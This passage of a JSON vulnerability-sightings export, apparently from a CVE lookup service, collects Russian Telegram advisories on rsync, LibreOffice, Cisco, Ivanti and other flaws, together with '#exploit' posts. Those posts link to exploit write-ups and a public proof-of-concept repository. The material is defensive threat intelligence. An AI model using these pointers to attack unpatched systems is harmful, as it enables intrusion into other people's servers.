\u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T15:20:27.000000Z"}, {"uuid": "8dde04ec-a1de-40ae-90ed-cd042afb88cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://t.me/purp_sec/285", "content": "\u0414\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041d\u043e \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u043b\u0438\u0448\u044c \u0437\u0430\u0442\u0438\u0448\u044c\u0435 \u043f\u0435\u0440\u0435\u0434 \u0431\u0443\u0440\u0435\u0439, \u043d\u0435 \u0441\u0442\u043e\u0438\u0442 \u0440\u0430\u0441\u0441\u043b\u0430\u0431\u043b\u044f\u0442\u044c\u0441\u044f.\n\n\u0412\u043e\u0442 \u0432\u0430\u043c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2024-12425 \u0438 CVE-2024-12426 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 LibreOffice, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0444\u0430\u0439\u043b \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0438\u0437 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434, \u043a\u0440\u0430\u0441\u0442\u044c \u043a\u0440\u0435\u0434\u0435\u043d\u0448\u0435\u043b\u044b \u0438 \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35CVE-2025-25067, CVE-2025-22896, CVE-2025-23411, CVE-2025-24865 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 mySCADA, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043a\u0440\u0430\u0441\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043e\u0431\u043c\u0430\u043d\u043e\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u0441\u0435\u0449\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u044b.\n\n\ud83d\udd35CVE-2025-21589 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Juniper Networks: Session Smart Router, Session Smart Conductor \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 WAN Assurance.\n\n\ud83d\udd35CVE-2024-12562 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u043f\u043b\u0430\u0433\u0438\u043d\u0435 s2Member Pro \u0434\u043b\u044f WordPress. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 PHP-\u043e\u0431\u044a\u0435\u043a\u0442\u044b \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0441\u0430\u0439\u0442\u044b.\n\n\ud83d\udd35CVE-2023-20198 \u0438 CVE-2023-20273 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Cisco IOS XE \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435. \u0412 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0438\u0437 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 RedMike/Salt Typhoon.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-05T00:00:22.554236Z"}, {"uuid": "bd9bc22c-60a8-4e82-b5da-e320b4546aac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "Telegram/AJ84SgKeS-o4x6xosnjyJhAm9Gu9lJ5QcZP7asEyWuwTjdnz", "content": "", "creation_timestamp": "2024-05-02T12:45:44.000000Z"}, {"uuid": "47498a90-e3af-4932-bd2e-14b4696f8600", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/purp_sec/294", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2024-10811, CVE-2024-13161, CVE-2024-13160, CVE-2024-13159 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 Ivanti \u0432 \u0445\u043e\u0434\u0435 \u0430\u0443\u0434\u0438\u0442\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 Ivanti EPM \u0434\u043b\u044f \u0440\u0435\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u0437\u043b\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\ud83d\udd35CVE-2024-12510 \u0438 CVE-2024-12511 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041c\u0424\u0423 Xerox VersaLink, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e pass-back \u0430\u0442\u0430\u043a, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 LDAP \u0438 SMB/FTP.\n\n\ud83d\udd35CVE-2025-26465 \u0438 CVE-2025-26466 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 OpenSSH, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c MITM-\u0430\u0442\u0430\u043a\u0438 \u043f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u043e\u043f\u0446\u0438\u0438 VerifyHostKeyDNS \u0438 Dos-\u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35CVE-2025-0999 \u0438 CVE-2025-1426 \u2014 \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 Google Stable Channel \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0434\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041f\u0435\u0440\u0432\u0430\u044f \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 heap-buffer-overflow \u0432 V8, JavaScript-\u0434\u0432\u0438\u0436\u043a\u0435 \u043e\u0442 Chrome, \u0432\u0442\u043e\u0440\u0430\u044f \u2014 \u0441 heap-buffer-overflo \u0432 GPU.\n\n\ud83d\udd35CVE-2024-12284 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 NetScaler Console, \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0449\u0430\u044f \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35CVE-2022-0778 \u0438 CVE-2025-0867 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043b\u0438\u043d\u0435\u0439\u043a\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0434\u0430\u0442\u0447\u0438\u043a\u043e\u0432 MEAC300 \u043e\u0442 SICK. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0438\u043b\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-05T00:00:22.631300Z"}, {"uuid": "0ae9f291-29f1-4715-a110-fcbd89f7d8f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-03)", "content": "", "creation_timestamp": "2026-08-04T10:00:05.071177Z"}, {"uuid": "66213cbf-61c6-4734-8a66-2dee0f675f4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10195", "content": "#exploit\n1. CVE-2023-48788:\nFortinet FortiClient EMS SQL Injection\nhttps://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive\n\n2. CVE-2023-48725:\nNetgear RAX30 stack-based buffer overflow vulnerability\nhttps://blog.talosintelligence.com/vulnerability-roundup-march-20-2024\n\n3. CVE-2024-1212:\nUnauthenticated Command Injection In Progress Kemp LoadMaster\nhttps://github.com/Chocapikk/CVE-2024-1212", "creation_timestamp": "2024-03-23T07:24:50.000000Z"}, {"uuid": "42593b67-e806-4f4f-beab-8de60bcbec4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12908", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/11647", "content": "#exploit\n1. CVE-2024-3393:\nPalo Alto Networks PAN-OS Malicious DNS Packet Vulnerability (DoS)\n\n2. CVE-2024-12908:\nDelinea Protocol Handler - RCE via Update Process\n\n3. CVE-2024-53677:\nUnrestricted Upload of File with Dangerous Type and RCE in Apache Struts\n\n4. CVE-2021-44967:\nLimeSurvey <=5.2 - RCE\n\n5. CVE-2024-47575:\nFortinet FortiManager Missing Authentication", "creation_timestamp": "2025-01-06T15:36:02.000000Z"}, {"uuid": "03ac4ebc-0cc1-4dc3-af5e-eef79ceaf0ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/11832", "content": "#Threat_Research\nXerox Versalink MFPs\nPass-back attack via LDAP (CVE-2024-12510) and SMB/FTP (CVE-2024-12511)\nhttps://www.rapid7.com/blog/post/2025/02/14/xerox-versalink-c7025-multifunction-printer-pass-back-attack-vulnerabilities-fixed\n]-> Anatomy of a Pass-Back-Attack\n]-> Attacking Xerox\u2019s Multifunction Printers Patch Process\n]-> More", "creation_timestamp": "2025-02-20T02:50:29.000000Z"}, {"uuid": "f9106965-2364-4bca-8f2a-2d5d95a42fbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", 